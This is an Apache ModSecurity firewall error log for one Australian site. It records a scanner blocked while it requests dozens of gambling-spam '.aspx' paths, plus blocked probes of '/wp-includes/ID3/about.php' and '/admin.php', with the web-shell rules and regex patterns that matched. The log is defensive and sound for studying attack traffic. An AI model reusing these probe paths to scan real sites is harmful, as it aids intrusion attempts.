[Sun Mar 29 09:26:24.962220 2026] [:error] [pid 23250:tid 23263] [client 51.83.11.108:33098] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ach_wJxrpj-dQjy1cvpmZwAAAks"]
[Sun Mar 29 09:26:27.265160 2026] [:error] [pid 23168:tid 23221] [client 51.83.11.108:35266] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "ach_w2P8p0yRL8ot_28VLgAAAhg"]
[Sun Mar 29 09:26:29.914109 2026] [:error] [pid 23137:tid 23145] [client 51.83.11.108:35268] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "ach_xRaWQa7LdZ_qGFadNwAAAYY"]
[Sun Mar 29 09:26:32.545955 2026] [:error] [pid 32255:tid 32313] [client 51.83.11.108:35278] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "ach_yGnfn-AtRoMbquybuwAAAFY"]
[Sun Mar 29 09:26:35.024763 2026] [:error] [pid 32255:tid 32297] [client 51.83.11.108:35290] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "ach_y2nfn-AtRoMbquybxgAAAEY"]
[Sun Mar 29 09:26:37.420555 2026] [:error] [pid 32255:tid 32299] [client 51.83.11.108:48992] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "ach_zWnfn-AtRoMbquybzQAAAEg"]
[Sun Mar 29 09:26:40.207416 2026] [:error] [pid 23284:tid 23308] [client 51.83.11.108:48998] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "ach_0IzBujdPHsq7wySDAwAAApY"]
[Sun Mar 29 09:26:42.943124 2026] [:error] [pid 32257:tid 32328] [client 51.83.11.108:49010] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ach_0iE3TArOFrUtgWpo1QAAAIo"]
[Sun Mar 29 09:26:45.622472 2026] [:error] [pid 23284:tid 23309] [client 51.83.11.108:49038] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ach_1YzBujdPHsq7wySDCgAAApc"]
[Sun Mar 29 09:26:48.326548 2026] [:error] [pid 32255:tid 32306] [client 51.83.11.108:56256] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "ach_2Gnfn-AtRoMbquyb3AAAAE8"]
[Sun Mar 29 09:26:50.928672 2026] [:error] [pid 23167:tid 23170] [client 51.83.11.108:56286] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "ach_2hIAHJCFaHff3_eo8AAAAcA"]
[Sun Mar 29 09:27:32.141417 2026] [:error] [pid 32254:tid 32279] [client 51.83.11.108:56304] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aciABKug2IHuyGgCTn8lyAAAAA8"]
[Sun Mar 29 09:27:34.487428 2026] [:error] [pid 1524:tid 1551] [client 51.83.11.108:42632] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aciABloaWSl2asqQCh85LAAAARM"]
[Sun Mar 29 09:27:37.011514 2026] [:error] [pid 23137:tid 23153] [client 51.83.11.108:42756] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aciACRaWQa7LdZ_qGFadVQAAAY4"]
[Sun Mar 29 09:27:39.377178 2026] [:error] [pid 23137:tid 23146] [client 51.83.11.108:42770] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aciACxaWQa7LdZ_qGFadWwAAAYc"]
[Sun Mar 29 09:27:41.938989 2026] [:error] [pid 32255:tid 32307] [client 51.83.11.108:42774] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aciADWnfn-AtRoMbquycNAAAAFA"]
[Sun Mar 29 09:27:44.420451 2026] [:error] [pid 32359:tid 32376] [client 51.83.11.108:42788] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aciAEAMb8G3UzfQP3WjqzgAAAM8"]
[Sun Mar 29 09:27:46.983311 2026] [:error] [pid 23284:tid 23294] [client 51.83.11.108:50850] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aciAEozBujdPHsq7wySDTgAAAog"]
[Sun Mar 29 09:27:49.479634 2026] [:error] [pid 1524:tid 1556] [client 51.83.11.108:50854] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aciAFVoaWSl2asqQCh85PgAAARg"]
[Sun Mar 29 09:27:51.959220 2026] [:error] [pid 23137:tid 23152] [client 51.83.11.108:50862] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aciAFxaWQa7LdZ_qGFadYQAAAY0"]
[Sun Mar 29 09:27:54.408057 2026] [:error] [pid 23167:tid 23180] [client 51.83.11.108:50878] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aciAGhIAHJCFaHff3_epLQAAAco"]
[Sun Mar 29 09:27:56.928316 2026] [:error] [pid 23168:tid 23197] [client 51.83.11.108:34736] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aciAHGP8p0yRL8ot_28VTAAAAgA"]
[Sun Mar 29 09:27:59.391356 2026] [:error] [pid 23284:tid 23288] [client 51.83.11.108:34742] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aciAH4zBujdPHsq7wySDWQAAAoI"]
[Sun Mar 29 09:28:01.927161 2026] [:error] [pid 23168:tid 23216] [client 51.83.11.108:34750] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aciAIWP8p0yRL8ot_28VVQAAAhM"]
[Sun Mar 29 09:28:04.372627 2026] [:error] [pid 23284:tid 23302] [client 51.83.11.108:34764] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aciAJIzBujdPHsq7wySDaQAAApA"]
[Sun Mar 29 09:28:06.759862 2026] [:error] [pid 23250:tid 23271] [client 51.83.11.108:37102] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aciAJpxrpj-dQjy1cvpmwAAAAlM"]
[Sun Mar 29 09:28:09.067679 2026] [:error] [pid 23284:tid 23286] [client 51.83.11.108:37108] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aciAKYzBujdPHsq7wySDbwAAAoA"]
[Sun Mar 29 09:28:11.634691 2026] [:error] [pid 32257:tid 32340] [client 51.83.11.108:37116] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aciAKyE3TArOFrUtgWppBQAAAJY"]
[Sun Mar 29 09:28:13.925197 2026] [:error] [pid 32257:tid 32339] [client 51.83.11.108:37130] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aciALSE3TArOFrUtgWppBgAAAJU"]
[Sun Mar 29 09:28:16.500760 2026] [:error] [pid 23137:tid 23153] [client 51.83.11.108:37136] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aciAMBaWQa7LdZ_qGFadcAAAAY4"]
[Sun Mar 29 09:28:18.907898 2026] [:error] [pid 23167:tid 23183] [client 51.83.11.108:58608] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aciAMhIAHJCFaHff3_epTAAAAc0"]
[Sun Mar 29 09:28:21.322523 2026] [:error] [pid 32255:tid 32307] [client 51.83.11.108:58618] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aciANWnfn-AtRoMbquycUAAAAFA"]
[Sun Mar 29 09:28:23.873228 2026] [:error] [pid 23137:tid 23139] [client 51.83.11.108:58626] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aciANxaWQa7LdZ_qGFaddwAAAYA"]
[Sun Mar 29 09:28:26.448446 2026] [:error] [pid 23250:tid 23263] [client 51.83.11.108:58628] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aciAOpxrpj-dQjy1cvpmzQAAAks"]
[Sun Mar 29 09:29:09.892021 2026] [:error] [pid 23168:tid 23221] [client 51.83.11.108:59822] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aciAZWP8p0yRL8ot_28VgwAAAhg"]
[Sun Mar 29 09:29:12.249847 2026] [:error] [pid 32254:tid 32274] [client 51.83.11.108:50650] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aciAaKug2IHuyGgCTn8l6QAAAAo"]
[Sun Mar 29 09:29:14.574608 2026] [:error] [pid 23167:tid 23189] [client 51.83.11.108:50664] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aciAahIAHJCFaHff3_epdwAAAdM"]
[Sun Mar 29 09:29:17.111467 2026] [:error] [pid 32255:tid 32291] [client 51.83.11.108:38408] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aciAbWnfn-AtRoMbquycrgAAAEA"]
[Sun Mar 29 09:29:19.548676 2026] [:error] [pid 23168:tid 23219] [client 51.83.11.108:38412] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aciAb2P8p0yRL8ot_28VhwAAAhY"]
[Sun Mar 29 09:29:22.098216 2026] [:error] [pid 23168:tid 23217] [client 51.83.11.108:38414] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aciAcmP8p0yRL8ot_28ViQAAAhQ"]
[Sun Mar 29 09:29:24.471812 2026] [:error] [pid 23167:tid 23182] [client 51.83.11.108:38418] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aciAdBIAHJCFaHff3_ephQAAAcw"]
[Sun Mar 29 09:29:26.882755 2026] [:error] [pid 32255:tid 32295] [client 51.83.11.108:49570] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aciAdmnfn-AtRoMbquycwAAAAEQ"]
[Sun Mar 29 09:29:29.456568 2026] [:error] [pid 23167:tid 23192] [client 51.83.11.108:49584] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aciAeRIAHJCFaHff3_eplgAAAdY"]
[Sun Mar 29 09:29:32.005523 2026] [:error] [pid 23167:tid 23179] [client 51.83.11.108:49586] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aciAfBIAHJCFaHff3_epnwAAAck"]
[Sun Mar 29 09:29:34.419535 2026] [:error] [pid 23167:tid 23189] [client 51.83.11.108:49596] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aciAfhIAHJCFaHff3_epqAAAAdM"]
[Sun Mar 29 09:29:36.972675 2026] [:error] [pid 32254:tid 32269] [client 51.83.11.108:47088] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aciAgKug2IHuyGgCTn8l9AAAAAU"]
[Sun Mar 29 09:29:39.405804 2026] [:error] [pid 23284:tid 23289] [client 51.83.11.108:47096] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aciAg4zBujdPHsq7wySD2AAAAoM"]
[Sun Mar 29 09:29:41.861209 2026] [:error] [pid 23167:tid 23193] [client 51.83.11.108:47098] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aciAhRIAHJCFaHff3_eprAAAAdc"]
[Sun Mar 29 09:29:44.232966 2026] [:error] [pid 23137:tid 23141] [client 51.83.11.108:47112] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aciAiBaWQa7LdZ_qGFadowAAAYI"]
[Sun Mar 29 09:29:46.654004 2026] [:error] [pid 32257:tid 32340] [client 51.83.11.108:39446] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aciAiiE3TArOFrUtgWppOQAAAJY"]
[Sun Mar 29 09:29:49.214739 2026] [:error] [pid 32254:tid 32285] [client 51.83.11.108:39448] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aciAjaug2IHuyGgCTn8l-AAAABU"]
[Sun Mar 29 09:29:51.600492 2026] [:error] [pid 1524:tid 1544] [client 51.83.11.108:39458] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aciAj1oaWSl2asqQCh85dAAAAQ0"]
[Sun Mar 29 12:42:42.508784 2026] [:error] [pid 32255:tid 32310] [client 114.96.103.33:36927] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "acitwmnfn-AtRoMbquz2nQAAAFM"]
[Sun Mar 29 18:47:11.832472 2026] [:error] [pid 32257:tid 32320] [client 51.103.28.129:42541] [client 51.103.28.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "ackDLyE3TArOFrUtgWrQ6AAAAII"]
[Sun Mar 29 18:47:38.015566 2026] [:error] [pid 23284:tid 23298] [client 51.103.28.129:39471] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "ackDSozBujdPHsq7wyQrUgAAAow"]
